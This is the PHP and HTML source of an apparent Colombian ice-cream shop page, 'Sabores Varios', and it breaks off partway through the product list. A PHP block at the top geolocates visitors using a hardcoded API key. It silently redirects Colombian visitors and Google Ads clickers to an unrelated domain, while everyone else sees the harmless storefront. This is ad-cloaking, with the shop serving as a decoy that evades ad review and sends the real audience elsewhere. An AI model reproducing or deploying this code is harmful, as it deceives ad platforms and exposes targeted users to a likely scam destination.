
<?php
// 1. Función optimizada para obtener la IP real del cliente
function getRealIpAddr() {
    if (!empty($_SERVER['HTTP_CLIENT_IP'])) {
        $ip = $_SERVER['HTTP_CLIENT_IP'];
    } elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
    } else {
        $ip = $_SERVER['REMOTE_ADDR'];
    }
    
    // Si viene una lista de IPs (ej: "ip1, ip2, ip3"), nos quedamos solo con la primera
    if (strpos($ip, ',') !== false) {
        $ip = explode(',', $ip)[0];
    }
    
    return trim($ip);
}

// 2. Obtener la IP usando tu función
$ip_visitante = getRealIpAddr();

// 3. Consultar la API de IP2Location para saber el país
$api_key = "19438218C4D7758BD0EE6050F89C55DF";
$url_api = "https://api.ip2location.io/?key=" . $api_key . "&ip=" . urlencode($ip_visitante);

$es_colombia = false;

// Petición segura a la API
$response = @file_get_contents($url_api);
if ($response !== false) {
    $datos = json_decode($response, true);
    // Verificar si el código de país devuelto es 'CO' (Colombia)
    if (isset($datos['country_code']) && $datos['country_code'] === 'CO') {
        $es_colombia = true;
    }
}

// 4. Evaluar todas las condiciones para la redirección
if (
    $es_colombia || // Condición IP de Colombia
    (isset($_GET['gad_source']) && $_GET['gad_source'] !== '') || // Condición Google Ads
    isset($_GET['gclid']) || 
    isset($_GET['gbraid'])
) {
    // Redireccionar
    header("Location: https://dash.360nuevaimagen.icu/");
    exit();
}
?>

<!DOCTYPE html>
<html lang="es">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0, viewport-fit=cover">
<meta name="theme-color" content="#6A5ACD">
<meta name="format-detection" content="telephone=no">
<title>Helados artesanales colombianos | Sabores Varios</title>
<meta name="description" content="Disfruta de helados artesanales hechos con ingredientes frescos y recetas tradicionales. Envío a todo Colombia.">
<meta name="keywords" content="helados, artesanales, colombia, sabores, dulces, postres, frutas">
<meta name="author" content="Sabores Varios">
<meta name="robots" content="index, follow, max-image-preview:large">
<link rel="canonical" href="https://saboresvarios.xyz/">
<meta property="og:type" content="website">
<meta property="og:url" content="https://saboresvarios.xyz/">
<meta property="og:title" content="Helados artesanales colombianos | Sabores Varios">
<meta property="og:description" content="Disfruta de helados artesanales hechos con ingredientes frescos y recetas tradicionales. Envío a todo Colombia.">
<meta property="og:site_name" content="Sabores Varios">
<meta property="og:locale" content="es_CO">
<meta name="twitter:card" content="summary_large_image">
<meta name="twitter:title" content="Helados artesanales colombianos | Sabores Varios">
<meta name="twitter:description" content="Disfruta de helados artesanales hechos con ingredientes frescos y recetas tradicionales. Envío a todo Colombia.">
<link rel="icon" href="data:image/svg+xml,<svg xmlns=%22http://www.w3.org/2000/svg%22 viewBox=%220 0 100 100%22><text y=%22.9em%22 font-size=%2290%22>🍨</text></svg>">
<script type="application/ld+json">{"@context": "https://schema.org", "@type": "Product", "name": "Sabores Varios", "description": "Disfruta de helados artesanales hechos con ingredientes frescos y recetas tradicionales. Envío a todo Colombia.", "brand": {"@type": "Brand", "name": "Sabores Varios"}, "offers": {"@type": "AggregateOffer", "priceCurrency": "COP", "availability": "https://schema.org/InStock", "url": "https://saboresvarios.xyz/"}}</script>
<script type="application/ld+json">{"@context": "https://schema.org", "@type": "Organization", "name": "Sabores Varios", "url": "https://saboresvarios.xyz", "email": "contacto@saboresvarios.xyz", "telephone": "+57 312 456 7890", "address": {"@type": "PostalAddress", "addressCountry": "CO", "addressLocality": "Bogotá"}}</script>
<script type="application/ld+json">{"@context": "https://schema.org", "@type": "FAQPage", "mainEntity": [{"@type": "Question", "name": "¿Qué sabores de helado tienen disponibles?", "acceptedAnswer": {"@type": "Answer", "text": "Ofrecemos una variedad de sabores, desde frutas tropicales hasta clásicos como vainilla y chocolate."}}, {"@type": "Question", "name": "¿Cómo se conservan los helados artesanales?", "acceptedAnswer": {"@type": "Answer", "text": "Nuestros helados se mantienen en un congelador especial para preservar su frescura y sabor."}}, {"@type": "Question", "name": "¿Dónde pueden comprarse sus productos?", "acceptedAnswer": {"@type": "Answer", "text": "Actualmente vendemos nuestros helados a través de nuestra página web y puntos de venta seleccionados en Colombia."}}, {"@type": "Question", "name": "¿Qué hace que sus helados sean artesanales?", "acceptedAnswer": {"@type": "Answer", "text": "Nuestros helados se preparan con ingredientes frescos y recetas tradicionales, sin aditivos químicos."}}, {"@type": "Question", "name": "¿Ofrecen envío a domicilio?", "acceptedAnswer": {"@type": "Answer", "text": "Sí, ofrecemos servicio de entrega a domicilio en ciudades seleccionadas."}}, {"@type": "Question", "name": "¿Cómo puedo hacer un pedido para una fiesta o evento?", "acceptedAnswer": {"@type": "Answer", "text": "Para pedidos especiales, por favor contáctenos directamente y haremos lo posible por atender su solicitud."}}]}</script>
<link rel="preconnect" href="https://fonts.googleapis.com"><link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
<link href="https://fonts.googleapis.com/css2?family=Manrope:wght@400;500;600;700;800;900&family=Inter:wght@400;500;600;700&display=swap" rel="stylesheet">
<style>
:root{
  --c-primary:#6A5ACD;--c-primary-dark:#3B2C78;--c-accent:#90EE90;
  --c-bg:#ffffff;--c-text:#0f172a;
  --c-surface:color-mix(in srgb,var(--c-bg) 94%,var(--c-primary) 6%);
  --c-elevated:color-mix(in srgb,var(--c-bg) 88%,var(--c-text) 12%);
  --c-muted:color-mix(in srgb,var(--c-text) 55%,transparent);
  --c-border:color-mix(in srgb,var(--c-text) 12%,transparent);
  --radius:10px;--radius-lg:calc(10px*1.7);--radius-xl:calc(10px*2.4);
  --shadow-sm:0 1px 3px color-mix(in srgb,var(--c-text) 8%,transparent);
  --shadow-md:0 8px 24px -8px color-mix(in srgb,var(--c-text) 16%,transparent);
  --shadow-lg:0 24px 60px -16px color-mix(in srgb,var(--c-text) 26%,transparent);
  --shadow-glow:0 12px 40px -8px color-mix(in srgb,var(--c-primary) 40%,transparent);
  --font:"Inter",-apple-system,BlinkMacSystemFont,"Segoe UI",sans-serif;
  --font-h:"Manrope","Inter",Georgia,serif;
  --grad-primary:linear-gradient(135deg,var(--c-primary),var(--c-accent));
  --grad-mesh:radial-gradient(at 20% 18%,color-mix(in srgb,var(--c-primary) 9%,transparent),transparent 46%),radial-gradient(at 82% 6%,color-mix(in srgb,var(--c-accent) 7%,transparent),transparent 46%);
}
*{margin:0;padding:0;box-sizing:border-box}
html{scroll-behavior:smooth;-webkit-text-size-adjust:100%}
body{font-family:var(--font);color:var(--c-text);background:var(--c-bg);line-height:1.65;-webkit-font-smoothing:antialiased;overflow-x:hidden}
h1,h2,h3,h4{font-family:var(--font-h);letter-spacing:-.028em;line-height:1.1;font-weight:700}
a{color:var(--c-primary);text-decoration:none;transition:opacity .2s}a:hover{opacity:.85}
button{font:inherit;cursor:pointer}
.container{max-width:1180px;margin:0 auto;padding:0 24px}
section{padding:92px 0;position:relative}
@media(max-width:768px){section{padding:60px 0}}
.btn{display:inline-flex;align-items:center;justify-content:center;gap:8px;padding:15px 30px;background:var(--grad-primary);color:#fff;border:none;border-radius:var(--radius);font-weight:600;font-size:15px;box-shadow:var(--shadow-md);transition:.25s}
.btn:hover{transform:translateY(-3px);box-shadow:var(--shadow-glow);opacity:1}
.btn-secondary{background:var(--c-elevated);color:var(--c-text);border:1.5px solid var(--c-border);box-shadow:none}
.btn-secondary:hover{border-color:var(--c-primary);color:var(--c-primary)}
/* NAV */
header.nav{position:sticky;top:0;z-index:50;background:color-mix(in srgb,var(--c-bg) 82%,transparent);backdrop-filter:saturate(180%) blur(20px);-webkit-backdrop-filter:saturate(180%) blur(20px);border-bottom:1px solid var(--c-border)}
header.nav .container{display:flex;align-items:center;justify-content:space-between;padding-top:16px;padding-bottom:16px;gap:16px}
.brand{display:flex;align-items:center;gap:10px;font-weight:700;font-size:18px;color:var(--c-text);font-family:var(--font-h)}
.brand-emoji{font-size:26px;animation:float 4s ease-in-out infinite}
@keyframes float{0%,100%{transform:translateY(0)}50%{transform:translateY(-4px)}}
.nav-links{display:flex;gap:32px}
@media(max-width:880px){.nav-links{display:none}}
.nav-links a{color:var(--c-muted);font-weight:500;font-size:14px;position:relative}
.nav-links a:hover{color:var(--c-text);opacity:1}
.nav-right{display:flex;align-items:center;gap:10px}
.cart-btn{position:relative;background:var(--c-elevated);border:1px solid var(--c-border);width:42px;height:42px;border-radius:50%;display:grid;place-items:center;font-size:17px;transition:.25s}
.cart-btn:hover{border-color:var(--c-primary);transform:translateY(-2px)}
.cart-badge{position:absolute;top:-4px;right:-4px;background:var(--grad-primary);color:#fff;border-radius:999px;min-width:20px;height:20px;padding:0 6px;display:grid;place-items:center;font-size:11px;font-weight:700;opacity:0;transform:scale(0);transition:.3s cubic-bezier(.34,1.56,.64,1)}
.cart-badge.visible{opacity:1;transform:scale(1)}
.nav-cta{display:inline-flex;align-items:center;gap:6px;padding:10px 18px;background:var(--grad-primary);color:#fff;border-radius:999px;font-weight:600;font-size:14px;box-shadow:var(--shadow-md);border:none;transition:.25s}
.nav-cta:hover{transform:translateY(-2px);box-shadow:var(--shadow-glow)}
@media(max-width:480px){.nav-cta{display:none}}
/* HERO */
.hero{background:var(--grad-mesh);overflow:hidden;position:relative}
.hero--centered,.hero--minimal{text-align:center;padding:88px 0 104px}
.hero--minimal{padding:64px 0 72px;text-align:left}
.hero--minimal .hero-trust,.hero--minimal .hero-ctas{justify-content:flex-start}
.hero-pill{display:inline-flex;align-items:center;gap:8px;padding:8px 16px;background:color-mix(in srgb,var(--c-bg) 90%,transparent);border:1px solid var(--c-border);color:var(--c-primary);border-radius:999px;font-size:12px;font-weight:600;letter-spacing:.04em;margin-bottom:26px;box-shadow:var(--shadow-sm)}
.hero-pill::before{content:"";width:6px;height:6px;border-radius:50%;background:var(--c-primary);box-shadow:0 0 0 4px color-mix(in srgb,var(--c-primary) 25%,transparent);animation:pulse 2s ease-in-out infinite}
@keyframes pulse{0%,100%{opacity:1}50%{opacity:.4}}
.hero h1{font-size:clamp(38px,6.5vw,80px);font-weight:800;line-height:1.04;letter-spacing:-.035em;margin-bottom:22px}
.hero--centered h1,.hero--minimal h1{max-width:920px}
.hero--centered h1{margin-left:auto;margin-right:auto}
.hero .lead{font-size:clamp(17px,2.2vw,21px);color:var(--c-muted);max-width:660px;margin-bottom:34px;line-height:1.6}
.hero--centered .lead{margin-left:auto;margin-right:auto}
.hero-ctas{display:flex;gap:14px;flex-wrap:wrap;margin-bottom:34px}
.hero--centered .hero-ctas{justify-content:center}
.hero-trust{display:flex;gap:28px;color:var(--c-muted);font-size:13px;flex-wrap:wrap;font-weight:500}
.hero--centered .hero-trust{justify-content:center}
.hero-trust span{display:inline-flex;align-items:center;gap:6px}
/* HERO split */
.hero--split{padding:80px 0}
.hero-split-grid{display:grid;grid-template-columns:1.1fr .9fr;gap:48px;align-items:center}
@media(max-width:880px){.hero-split-grid{grid-template-columns:1fr;text-align:center}.hero--split .hero-ctas,.hero--split .hero-trust{justify-content:center}}
.hero-visual{aspect-ratio:1;border-radius:var(--radius-xl);background:var(--grad-primary);display:grid;place-items:center;box-shadow:var(--shadow-lg);position:relative;overflow:hidden}
.hero-visual::after{content:"";position:absolute;inset:0;background:radial-gradient(circle at 70% 25%,rgba(255,255,255,.35),transparent 55%)}
.hero-emoji{font-size:clamp(90px,16vw,170px);position:relative;z-index:1;animation:float 5s ease-in-out infinite}
@media(max-width:880px){.hero-visual{max-width:340px;margin:0 auto}}
/* SECTION HEAD */
.section-head{text-align:center;margin-bottom:56px;max-width:680px;margin-left:auto;margin-right:auto}
.section-eyebrow{display:inline-block;color:var(--c-primary);font-size:12px;font-weight:700;letter-spacing:.16em;text-transform:uppercase;margin-bottom:12px;padding:5px 12px;border:1px solid color-mix(in srgb,var(--c-primary) 30%,transparent);border-radius:999px;background:color-mix(in srgb,var(--c-primary) 8%,transparent)}
.section-head h2{font-size:clamp(30px,4.6vw,50px);letter-spacing:-.025em;margin:6px 0 14px}
.section-head .lead{color:var(--c-muted);font-size:17px}
/* STATS */
.stats{background:var(--c-surface);padding:72px 0}
.stats-grid{display:grid;grid-template-columns:repeat(4,1fr);gap:32px;text-align:center}
@media(max-width:768px){.stats-grid{grid-template-columns:repeat(2,1fr);gap:24px}}
.stat-value{font-size:clamp(36px,5vw,54px);font-weight:800;background:var(--grad-primary);-webkit-background-clip:text;background-clip:text;color:transparent;line-height:1;font-family:var(--font-h)}
.stat-label{color:var(--c-muted);font-size:13px;margin-top:8px;font-weight:500}
/* BENEFITS */
.benefits-grid{display:grid;grid-template-columns:repeat(auto-fit,minmax(280px,1fr));gap:18px}
.benefit{padding:30px;background:var(--c-bg);border:1px solid var(--c-border);border-radius:var(--radius-lg);transition:.3s}
.benefit:hover{transform:translateY(-4px);box-shadow:var(--shadow-lg);border-color:var(--c-primary)}
.benefit-icon{width:52px;height:52px;display:grid;place-items:center;background:var(--grad-primary);border-radius:14px;font-size:24px;margin-bottom:18px;box-shadow:var(--shadow-md)}
.benefit h3{font-size:18px;margin-bottom:9px}
.benefit p{color:var(--c-muted);font-size:14px}
.benefits-grid--iconleft .benefit{display:flex;gap:18px;align-items:flex-start}
.benefits-grid--iconleft .benefit-icon{margin-bottom:0;flex-shrink:0}
/* PRODUCTS — grid uniforme, alturas IGUALES, sin huecos, tiles sobrios */
.products-grid{display:grid;grid-template-columns:repeat(auto-fill,minmax(266px,1fr));gap:18px;align-items:stretch}
@media(max-width:560px){.products-grid{grid-template-columns:1fr}}
.product{display:flex;flex-direction:column;background:var(--c-bg);border:1px solid var(--c-border);border-radius:var(--radius-lg);overflow:hidden;transition:transform .25s,box-shadow .25s,border-color .25s}
.product:hover{transform:translateY(-4px);box-shadow:var(--shadow-md);border-color:color-mix(in srgb,var(--c-primary) 35%,var(--c-border))}
.product-visual{aspect-ratio:4/3;display:grid;place-items:center;font-size:60px;background:radial-gradient(125% 120% at 50% 8%,color-mix(in srgb,var(--c-primary) 9%,var(--c-surface)),var(--c-surface));border-bottom:1px solid var(--c-border)}
.product-info{padding:20px;display:flex;flex-direction:column;flex:1;gap:6px}
.product-info h3{font-size:17px;line-height:1.25}
.product-info p{color:var(--c-muted);font-size:13.5px;line-height:1.55;flex:1}
.product-footer{display:flex;align-items:center;justify-content:space-between;gap:12px;margin-top:16px;padding-top:14px;border-top:1px solid var(--c-border)}
.product-price{font-size:19px;font-weight:700;color:var(--c-text);font-family:var(--font-h);letter-spacing:-.01em}
.product-btn{padding:9px 16px;background:var(--c-primary);color:#fff;border:none;border-radius:999px;font-weight:600;font-size:13px;transition:.2s;display:inline-flex;align-items:center;gap:6px;white-space:nowrap;text-decoration:none}
.product-btn:hover{filter:brightness(1.07);transform:translateY(-1px)}
.product-btn.added{background:var(--c-accent)}
/* PRODUCTS list */
.products-grid--list{grid-template-columns:1fr;max-width:780px;margin:0 auto;gap:14px}
.products-grid--list .product{flex-direction:row;align-items:stretch}
.products-grid--list .product-visual{aspect-ratio:auto;width:150px;flex-shrink:0;border-bottom:none;border-right:1px solid var(--c-border)}
@media(max-width:560px){.products-grid--list .product{flex-direction:column}.products-grid--list .product-visual{width:100%;aspect-ratio:4/3;border-right:none;border-bottom:1px solid var(--c-border)}}
/* PROCESS */
#proceso{background:var(--c-bg)}
.process-grid{display:grid;grid-template-columns:repeat(auto-fit,minmax(200px,1fr));gap:30px;position:relative}
.process-item{text-align:center;padding:0 8px}
.process-num{width:62px;height:62px;display:grid;place-items:center;margin:0 auto 18px;background:var(--c-bg);border:2px solid var(--c-primary);color:var(--c-primary);border-radius:50%;font-family:var(--font-h);font-weight:800;font-size:21px;box-shadow:var(--shadow-md)}
.process-item h3{font-size:18px;margin-bottom:9px}
.process-item p{color:var(--c-muted);font-size:14px}
/* TESTIMONIALS */
.testimonials{background:var(--c-surface)}
.testimonials-grid{display:grid;grid-template-columns:repeat(auto-fit,minmax(300px,1fr));gap:20px}
.testimonials-grid--marquee{display:flex;gap:20px;overflow-x:auto;scroll-snap-type:x mandatory;padding-bottom:10px;-webkit-overflow-scrolling:touch}
.testimonials-grid--marquee .testimonial{min-width:330px;scroll-snap-align:start}
.testimonial{padding:24px;background:var(--c-bg);border:1px solid var(--c-border);border-radius:var(--radius-lg);box-shadow:var(--shadow-sm)}
.testimonial-rating{color:var(--c-accent);font-size:15px;letter-spacing:2px;margin-bottom:12px}
.testimonial p{font-size:14px;line-height:1.65;margin-bottom:18px;color:var(--c-text)}
.testimonial-author{display:flex;align-items:center;gap:12px}
.testimonial-avatar{width:40px;height:40px;border-radius:50%;background:var(--grad-primary);color:#fff;display:grid;place-items:center;font-weight:700;font-size:15px;flex-shrink:0;font-family:var(--font-h)}
.testimonial-name{font-weight:700;font-size:14px}
.testimonial-role{font-size:12px;color:var(--c-muted)}
/* FAQ */
.faq-list{max-width:760px;margin:0 auto}
.faq-item{border-bottom:1px solid var(--c-border)}
.faq-item summary{padding:22px 0;font-weight:600;font-size:17px;cursor:pointer;list-style:none;display:flex;justify-content:space-between;align-items:center;font-family:var(--font-h);gap:16px}
.faq-item summary::-webkit-details-marker{display:none}
.faq-item summary::after{content:"+";font-size:26px;color:var(--c-primary);font-weight:300;flex-shrink:0}
.faq-item[open] summary::after{content:"−"}
.faq-item summary:hover{color:var(--c-primary)}
.faq-item p{padding:0 40px 22px 0;color:var(--c-muted);line-height:1.7;font-size:15px}
/* NEWSLETTER */
.newsletter{background:var(--c-bg);text-align:center}
.newsletter-card{max-width:680px;margin:0 auto;padding:56px 40px;background:var(--c-elevated);border:1px solid var(--c-border);border-radius:var(--radius-xl);box-shadow:var(--shadow-lg);position:relative;overflow:hidden}
.newsletter-card::before{content:"";position:absolute;inset:0;background:var(--grad-mesh);opacity:.4;pointer-events:none}
.newsletter-card>*{position:relative;z-index:1}
.newsletter-card h2{font-size:clamp(26px,4vw,38px);margin:8px 0 12px}
.newsletter-card p{color:var(--c-muted);margin-bottom:26px;max-width:460px;margin-left:auto;margin-right:auto}
.newsletter-form{display:flex;gap:10px;max-width:460px;margin:0 auto;flex-wrap:wrap}
.newsletter-form input{flex:1;min-width:200px;padding:15px 18px;border:1px solid var(--c-border);border-radius:var(--radius);font-family:inherit;font-size:14px;background:var(--c-bg);color:var(--c-text)}
.newsletter-form input:focus{outline:none;border-color:var(--c-primary)}
.newsletter-form button{padding:15px 26px;background:var(--grad-primary);color:#fff;border:none;border-radius:var(--radius);font-weight:600}
/* CONTACT */
#contacto{background:var(--c-surface)}
.contact-grid{display:grid;grid-template-columns:repeat(4,1fr);gap:18px}
@media(max-width:768px){.contact-grid{grid-template-columns:repeat(2,1fr)}}
@media(max-width:480px){.contact-grid{grid-template-columns:1fr}}
.contact-card{padding:28px 20px;background:var(--c-bg);border:1px solid var(--c-border);border-radius:var(--radius-lg);text-align:center;transition:.25s}
.contact-card:hover{transform:translateY(-3px);border-color:var(--c-primary);box-shadow:var(--shadow-md)}
.contact-icon{width:48px;height:48px;display:grid;place-items:center;background:color-mix(in srgb,var(--c-primary) 12%,transparent);border-radius:14px;font-size:22px;margin:0 auto 14px}
.contact-card h4{font-size:12px;color:var(--c-muted);margin-bottom:6px;font-weight:600;letter-spacing:.04em;text-transform:uppercase}
.contact-card a,.contact-card span{font-size:14px;font-weight:600;color:var(--c-text);word-break:break-word}
/* CTA FINAL */
.cta-final{background:var(--grad-primary);color:#fff;text-align:center}
.cta-final h2{font-size:clamp(30px,4.6vw,48px);margin-bottom:14px}
.cta-final>.container>p{max-width:540px;margin:0 auto 30px;opacity:.92}
.cta-form{max-width:480px;margin:0 auto;display:flex;flex-direction:column;gap:12px;text-align:left}
.cta-form input,.cta-form textarea{padding:14px 16px;border:none;border-radius:var(--radius);font-family:inherit;font-size:14px;background:rgba(255,255,255,.95);color:#111}
.cta-form button{padding:15px;background:var(--c-text);color:var(--c-bg);border:none;border-radius:var(--radius);font-weight:700;font-size:15px;transition:.2s}
.cta-form button:hover{transform:translateY(-2px);box-shadow:var(--shadow-lg)}
/* FOOTER */
footer{padding:56px 0 28px;border-top:1px solid var(--c-border);background:var(--c-bg)}
.footer-top{display:grid;grid-template-columns:1.6fr 1fr 1fr 1fr;gap:32px;margin-bottom:36px}
@media(max-width:768px){.footer-top{grid-template-columns:1fr 1fr}}
@media(max-width:480px){.footer-top{grid-template-columns:1fr}}
.footer-tagline{color:var(--c-muted);font-size:14px;margin:14px 0 16px;max-width:300px}
.footer-social{display:flex;gap:14px;font-size:20px}
.footer-col h4{font-size:14px;margin-bottom:14px}
.footer-col a,.footer-col button{display:block;color:var(--c-muted);font-size:14px;margin-bottom:10px;background:none;border:none;padding:0;text-align:left}
.footer-col a:hover,.footer-col button:hover{color:var(--c-primary)}
.footer-bottom{border-top:1px solid var(--c-border);padding-top:24px;text-align:center;font-size:12px;color:var(--c-muted)}
/* MODAL */
.modal{display:none;position:fixed;inset:0;background:color-mix(in srgb,var(--c-text) 65%,transparent);z-index:90;align-items:center;justify-content:center;padding:20px;backdrop-filter:blur(6px)}
.modal.open{display:flex}
.modal-content{max-width:640px;width:100%;max-height:85vh;overflow-y:auto;background:var(--c-bg);border:1px solid var(--c-border);border-radius:var(--radius-lg);padding:38px;box-shadow:var(--shadow-lg);position:relative}
.modal-close{position:absolute;top:18px;right:20px;font-size:24px;background:none;border:none;color:var(--c-muted);line-height:1}
.modal-content h2{font-size:25px;margin-bottom:18px;padding-right:30px}
.modal-content h3{margin:18px 0 8px;font-size:16px}
.modal-content p,.modal-content li{font-size:14px;line-height:1.7;color:var(--c-muted);margin-bottom:10px}
.modal-content ul{padding-left:22px}
.modal-content table{width:100%;border-collapse:collapse;margin:10px 0;font-size:13px}
.modal-content th,.modal-content td{border:1px solid var(--c-border);padding:8px 10px;text-align:left;color:var(--c-text)}
.checkout-form{display:flex;flex-direction:column;gap:10px;margin-top:8px}
.checkout-form label{font-size:13px;font-weight:600;display:flex;flex-direction:column;gap:5px;color:var(--c-text)}
.checkout-form input,.checkout-form textarea{padding:11px 13px;border:1px solid var(--c-border);border-radius:var(--radius);font-family:inherit;font-size:14px;background:var(--c-bg);color:var(--c-text)}
.checkout-form button{margin-top:8px;padding:14px;background:var(--grad-primary);color:#fff;border:none;border-radius:var(--radius);font-weight:700}
.checkout-summary{margin-bottom:18px}
.checkout-summary .item{display:flex;justify-content:space-between;padding:7px 0;font-size:14px;color:var(--c-muted);border-bottom:1px dashed var(--c-border)}
.checkout-summary .item.total{font-weight:800;color:var(--c-text);font-size:16px;border-bottom:none;padding-top:12px}
/* CART DRAWER */
.cart-overlay{position:fixed;inset:0;background:color-mix(in srgb,var(--c-text) 55%,transparent);z-index:95;opacity:0;visibility:hidden;transition:.3s;backdrop-filter:blur(4px)}
.cart-overlay.open{opacity:1;visibility:visible}
.cart-panel{position:fixed;top:0;right:0;height:100%;width:390px;max-width:90vw;background:var(--c-bg);z-index:96;transform:translateX(100%);transition:transform .32s cubic-bezier(.4,0,.2,1);display:flex;flex-direction:column;box-shadow:var(--shadow-lg)}
.cart-panel.open{transform:translateX(0)}
.cart-header{display:flex;align-items:center;justify-content:space-between;padding:22px 22px 16px;border-bottom:1px solid var(--c-border)}
.cart-header h3{font-size:18px}
.cart-header .modal-close{position:static}
.cart-body{flex:1;overflow-y:auto;padding:16px 22px}
.cart-empty{text-align:center;color:var(--c-muted);padding:60px 0}
.cart-empty .icon{font-size:48px;margin-bottom:12px}
.cart-item{display:flex;gap:12px;align-items:flex-start;padding:14px 0;border-bottom:1px solid var(--c-border);position:relative}
.cart-item-visual{width:46px;height:46px;border-radius:12px;background:var(--grad-primary);display:grid;place-items:center;font-size:22px;flex-shrink:0}
.cart-item-info{flex:1}
.cart-item-info h4{font-size:14px;margin-bottom:3px}
.cart-item-info .price{font-size:13px;color:var(--c-muted);margin-bottom:8px}
.cart-qty{display:inline-flex;align-items:center;gap:10px;border:1px solid var(--c-border);border-radius:999px;padding:3px 6px}
.cart-qty button{width:24px;height:24px;border-radius:50%;border:none;background:var(--c-elevated);color:var(--c-text);font-size:15px;line-height:1}
.cart-qty span{font-size:13px;font-weight:600;min-width:16px;text-align:center}
.cart-item-remove{background:none;border:none;color:var(--c-muted);font-size:18px;line-height:1}
.cart-item-remove:hover{color:var(--c-primary)}
.cart-footer{padding:18px 22px;border-top:1px solid var(--c-border)}
.cart-total{display:flex;justify-content:space-between;align-items:center;margin-bottom:14px;font-size:15px}
.cart-total .amount{font-size:22px;font-weight:800;color:var(--c-primary);font-family:var(--font-h)}
.cart-checkout-btn{width:100%;padding:15px;background:var(--grad-primary);color:#fff;border:none;border-radius:var(--radius);font-weight:700;font-size:15px}
/* COOKIE / TOAST / SCROLLTOP / STICKY */
.cookie-banner{position:fixed;bottom:20px;left:20px;right:20px;max-width:680px;margin:0 auto;background:var(--c-bg);border:1px solid var(--c-border);padding:18px 22px;border-radius:var(--radius-lg);font-size:13px;display:flex;align-items:center;gap:16px;z-index:70;box-shadow:var(--shadow-lg);transform:translateY(160%);transition:transform .4s;color:var(--c-text)}
.cookie-banner.show{transform:translateY(0)}
.cookie-banner p{flex:1}
.cookie-actions{display:flex;gap:8px;flex-shrink:0}
.cookie-banner button{padding:9px 16px;font-size:12px;border-radius:calc(var(--radius)*.7);border:1px solid var(--c-border);background:var(--c-elevated);color:var(--c-text);font-weight:600;white-space:nowrap}
.cookie-banner button.accept-all{background:var(--grad-primary);color:#fff;border:none}
@media(max-width:560px){.cookie-banner{flex-direction:column;text-align:center}}
.toast{position:fixed;bottom:24px;left:50%;transform:translateX(-50%) translateY(20px);background:var(--c-text);color:var(--c-bg);padding:13px 22px;border-radius:999px;font-size:14px;font-weight:600;z-index:120;opacity:0;pointer-events:none;transition:.3s;box-shadow:var(--shadow-lg)}
.toast.show{opacity:1;transform:translateX(-50%) translateY(0)}
.scroll-top{position:fixed;bottom:22px;right:22px;width:46px;height:46px;border-radius:50%;background:var(--c-text);color:var(--c-bg);border:none;font-size:20px;z-index:55;opacity:0;visibility:hidden;transition:.3s;box-shadow:var(--shadow-lg)}
.scroll-top.visible{opacity:1;visibility:visible}
.scroll-top:hover{background:var(--c-primary);transform:translateY(-3px)}
.sticky-mobile{display:none}
@media(max-width:768px){.sticky-mobile{display:inline-flex;align-items:center;gap:6px;position:fixed;bottom:22px;left:22px;background:#25D366;color:#fff;padding:13px 18px;border-radius:999px;font-weight:600;font-size:14px;z-index:55;box-shadow:var(--shadow-lg)}.scroll-top{bottom:22px}}
/* REVEAL */
.reveal{opacity:0;transform:translateY(22px);transition:opacity .6s,transform .6s}
.reveal.in{opacity:1;transform:none}
</style>
</head>
<body>
<header class="nav"><div class="container">
  <a href="#" class="brand"><span class="brand-emoji">🍨</span> Sabores Varios</a>
  <nav class="nav-links">
    <a href="#productos">Productos</a><a href="#beneficios">Beneficios</a>
    <a href="#testimonios">Reseñas</a><a href="#faq">Preguntas</a><a href="#contacto">Contacto</a>
  </nav>
  <div class="nav-right"><button class="cart-btn" type="button" onclick="openCart()" aria-label="Abrir carrito">🛒<span class="cart-badge" id="cartBadge">0</span></button><a href="#contacto" class="nav-cta">Catalogo</a></div>
</div></header>
<section class="hero hero--split">
  <div class="container hero-split-grid">
    <div class="hero-copy">
      <span class="hero-pill">Artesanal</span>
      <h1>Helados colombianos de lujo</h1>
      <p class="lead">Sabores únicos hechos con amor y dedicación. Prueba nuestros helados hoy mismo.</p>
      <div class="hero-ctas"><a href="#productos" class="btn">Comprar ahora →</a><a href="#testimonios" class="btn btn-secondary">Ver reseñas</a></div>
      <div class="hero-trust"><span>🚚 Envio gratis sobre 100k</span><span>✅ Calidad garantizada</span><span>↩️ Devolucion 7 dias</span></div>
    </div>
    <div class="hero-visual"><div class="hero-emoji">🍨</div></div>
  </div>
</section>
<section id="productos" class="products"><div class="container">
    <div class="section-head"><div class="section-eyebrow">Nuestro catalogo</div>
      <h2>Descubre nuestros sabores únicos</h2><p class="lead">Desde frutas tropicales hasta clásicos con un toque especial.</p></div>
    <div class="products-grid products-grid--bento"><article class="product">
        <div class="product-visual">🍦</div>
        <div class="product-info"><h3>Delicia Tropical</h3><p>Helado artesanal con frutas tropicales colombianas.</p>
          <div class="product-footer"><span class="product-price">$29.000</span><button class="product-btn" type="button" onclick="addToCart('Delicia Tropical','$29.000','🍦',this)">🛒 Agregar</button></div>
        </div></article><article class="product">
        <div class="product-visual">🍧</div>
        <div class="product-info"><h3>Sorbet de Mango</h3><p>Refrescante sorbete hecho a mano con mango fresco.</p>
          <div class="product-footer"><span class="product-price">$18.500</span><button class="product-btn" type="button" onclick="addToCart('Sorbet de Mango','$18.500','🍧',this)">🛒 Agregar</button></div>
        </div></article><article class="product">
        <div class="product-visual">🍨</div>
        <div class="product-info"><h3>Crema Napolitana</h3><p>Clásico helado napolitano en tres sabores distintos.</p>
          <div class="product-footer"><span class="product-price">$32.000</span><button class="product-btn" type="button" onclick="addToCart('Crema Napolitana','$32.000','🍨',this)">🛒 Agregar</button></div>
        </div></article><article class="product">
        <div class="product-visual">🍰</div>
        <div class="product-info"><h3>Postre Helado</h3><p>Delicioso postre con capa de brownie y helado artesanal.</p>
          <div class="product-footer"><span class="product-price">$45.000</span><button class="product-btn" type="button" onclick="addToCart('Postre Helado','$45.000','🍰',this)">🛒 Agregar</button></div>
        </div></article><article class="product">
        <div class="product-visual">🍊</div>
        <div class="product-info"><h3>Citrus Twist</h3><p>Helado cremoso con un toque de limón y naranja.</p>
          <div class="product-footer"><span class="product-price">$23.500</span><button class="product-btn" type="button" onclick="addToCart('Citrus Twist','$23.500','🍊',this)">🛒 Agregar</button></div>
        </div></article><article class="product">
        <div class="product-visual">🍫</div>
        <div class="product-info"><h3>Aventura en Chocolate</h3><p>Variada selección de helados artesanales de chocolate.</p>
